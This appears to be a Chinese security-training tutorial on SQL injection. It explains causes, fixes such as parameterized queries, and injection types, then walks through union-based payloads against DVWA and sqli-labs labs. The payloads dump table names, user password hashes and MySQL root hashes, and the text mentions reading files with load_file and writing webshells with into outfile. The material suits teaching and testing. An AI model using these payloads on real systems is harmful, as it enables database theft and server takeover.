SQL注入
漏洞描述
Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以及绕过登录限制等。
测试方法
在发现有可控参数的地方使用 sqlmap 进行 SQL 注入的检查或者利用, 也可以使用其他的 SQL 注入工具,简单点的可以手工测试,利用单引号、and 1=1 和 and 1=2 以及字符型注入进行判断!推荐使用 burpsuite 的 sqlmap 插件,这样可以很方便,鼠标右键就可以将数据包直接发送到 sqlmap 里面进行检测了!
修复建议
代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御 sql 注入的最佳方法。
(1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注 入攻击。
(2)对进入数据库的特殊字符( ‘ <>&*; 等)进行转义处理,或编码转换。
(3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。
(4)数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句正确执行。
(5)网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
(6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
(7)避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
注入的相关知识
在 mysql5 版本以后,mysql 默认在数据库中存放在一个叫 infomation_schema 里面这个库里面有很多表,重点是这三个表 columns 、tables、SCHEMATA 表字段 CHEMA_NAME 记录着库的信息
tables 表字段 TABLE_SCHEMA 、TABLE_NAME 分别记录着库名和表名
columns 存储该用户创建的所有数据库的库名、标名和字段名
查询某个库某个表的字段可以这样查询
1 | select * from information_schema.COLUMNS where TABLE_SCHEMA='www_dvwa_com' and TABLE_NAME='users' |
- information_schema是一个默认存在的数据库,其中包含着TABLES和COLUMNS等表,这两个表中都有TABLE_SCHEMA字段,都是表示存在的所有的数据库
SQL 注入原理
SQL 注入漏洞的产生需要满足以下两个条件
- 参数用户可控:从前端传给后端的参数内容是用户可以控制的
- 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。
当用户传入参数为 1’的时候,在数据库执行如下所示。
1 | select * from users where id=1' |
此 SQL 语句不符合语法规则就会报错。
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 |
当用户传入参数为 1 and 1=1 时
1 | select * from users where id=1 and 1=1 |
因为 1=1 为真 id=1 也是真 and 两边均为真 所以页面会返回 id=1 的结果。
如果用户传入参数为 1 and 1=2 时
因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的结果。
由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句, 进行攻击,致使信息泄露,甚至获取服务器权限
判断是否存在注入
回显是指页面有数据 信息返回
id =1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = ‘1’ or ‘1’=’1’
id=” 1 “or “1”=”1”
无回显是指 根据输入的语句 页面没有任何变化,或者没有数据库中的内容显示到网页中
三种SQL注释符
#:单行注释,注意与 url 中的#区分,常编码为%23
–空格:单行注释,注意为短线短线空格
/*( )*/:多行注释,至少存在俩处的注入 ,/**/常用来作为空格
注入流程
是否存在注入并且判断注入类型
判断字段数 order by
确定回显点 union select 1,2
查询数据库信息 @@version @@datadir
查询用户名,数据库名 user() database()
文件读取 union select 1,load_file(‘C:\wondows\win.ini’)#
写入 webshell select..into outfile…
使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编码绕过
SQL注入分类
SQL 注入分类:按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种:
UNION query SQL injection(可联合查询注入)
Stacked queries SQL injection(可多语句查询注入)堆叠查询
Boolean-based blind SQL injection(布尔型注入)
Error-based SQL injection(报错型注入)
Time-based blind SQL injection(基于时间延迟注入)
接受请求类型区分
GET 注入
GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要URL 编码
POST 注入
POST 请求参数是放在请求 body 里的,长度没有限制
COOKIE 注入
cookie 参数放在请求头信息,提交的时候服务器会从请求头获取

注入数据类型的区分
int 整型
select * from users where id=1
sting 字符型
select * from users where username=’admin’
like 搜索型
select * from news where title like ‘%标题%’ %:匹配多个字符
SQL注入常规利用思路
1、寻找注入点,可以通过 web 扫描工具实现
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用
户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字
段名等信息)
3.1 还可以获取数据库的 root 账号 密码—思路
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息。
手工注入常规思路
1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数 order by N
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据
SQL详细注入过程
(1)猜数据库:
1’ union select 1,database()
payload 利用另一种方式:
1’ union select user(),database()
version()
得到数据库名:dvwa
PS:union 查询结合了两个 select 查询结果,根据上面的 order by 语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用 union 查询结合我们构造的另外一个 select
注意在使用 union 查询的时候需要和主查询的列数相同。
(2)猜表名:
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()
得到表名:guestbook,users
group_concat 分组
(3)猜列名:
1’ union select 1,group_concat(column_name) from information_schema.columns
where table_name =0x7573657273#
1’ union select 1,group_concat(column_name) from information_schema.columns
where table_name =’users’#
(用编码就不用单引号,用单引号就不用编码)
得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,usernam
e,password
(4)猜用户数据:
列举出几种 payload:
1’ or 1=1 union select
group_concat(user_id,first_name,last_name),group_concat(password) from users #
1’ union select null,concat_ws(char(32,58,32),user,password) from users #
1’ union select null,group_concat(concat_ws(char(32,58,32),user,password)) from
users #
得到用户数据:
admin 5f4dcc3b5aa765d61d8327deb882cf99
(5)猜 root 用户:#
1’ union select 1,group_concat(user,password) from mysql.user#
得到 root 用户信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
union 联合注入
union 联合注入原理
联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段要数要相同,不然会出现报错。
sqli-labs-master练习
Less-1(基于错误的GET单引号字符型注入)
1 | 联合查询注⼊流程 |
显示正常页面

找注入点,破坏SQL语法结构,发现存在注入点,并且为字符型


用联合查询,需要知道对应的列数,于是用order by判断列数
先用10列来测,回显不对,于是二分继续测试

测试出有3列

用union查询,判断回显位置,回显位置为2,3

查数据库名称

查数据表名
1 | 在 mysql5.0 以上的版本中加⼊了 information_schema 这个系统库,该库内存放该数据库所有的库名,表名,字段名以及它们的从属关系,利⽤ information_schema 库可以查询当前数据所有的表名 |

用户信息在表“users”里,于是查其字段名

查用户数据
